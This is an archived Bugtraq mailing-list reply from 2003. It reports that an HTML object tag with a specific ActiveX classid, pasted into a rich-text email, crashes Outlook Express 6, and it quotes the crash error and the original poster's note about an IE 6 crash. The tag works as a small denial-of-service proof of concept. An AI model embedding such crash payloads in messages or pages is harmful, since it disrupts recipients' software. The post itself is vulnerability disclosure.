Re: IE 6.0 - trivial crash

From: Geoff Shively (gshivelyat_private)
Date: Thu Apr 17 2003 - 11:03:25 PDT

Next message: badwebmastersat_private: "CrossSite Scripting @ Snitz Forums 2000"

Previous message: Mandrake Linux Security Team: "MDKSA-2003:049 - Updated kde3 packages fix arbitrary command execution"
In reply to: Adam [ckkl]: "IE 6.0 - trivial crash"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Adam,
If you paste the code within the object tag you specified into a rich text
html email, MSIMN will crash:

<>
 id=crash
 classid="clsid:00022613-0000-0000-C000-000000000046"
 width=1
 height=1
<>

Outlook Express 6 [6.00.2800.1106] will crash with the following error:

--------
MSIMN.exe - Application Error

The instruction at "0x000b01b8" referenced memory at "0x39f1be78". The
memory could not be "read".
---------

Cheers,
Geoff Shively
PivX Solutions

http://www.pivx.com



----- Original Message -----
From: "Adam [ckkl]" <ckklat_private>
To: <bugtraqat_private>
Sent: Wednesday, April 16, 2003 3:17 PM
Subject: IE 6.0 - trivial crash


> Hello,
>
> Nothing to add, just a trivial IE crash.
> http://www.sztolnia.pl/hack/TrivialIECrash/TrivialIECrash.html
>
> Best Regards
> Adam Blaszczyk
> reverser, coder, writer & researcher  [VX/AV]
> http://www.symantec.com (Localization Engineer)
> http://www.mykakee.com (Home page)
> Whatever I say in this e-mail is my private opinion.

Next message: badwebmastersat_private: "CrossSite Scripting @ Snitz Forums 2000"
Previous message: Mandrake Linux Security Team: "MDKSA-2003:049 - Updated kde3 packages fix arbitrary command execution"
In reply to: Adam [ckkl]: "IE 6.0 - trivial crash"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Thu Apr 17 2003 - 14:37:41 PDT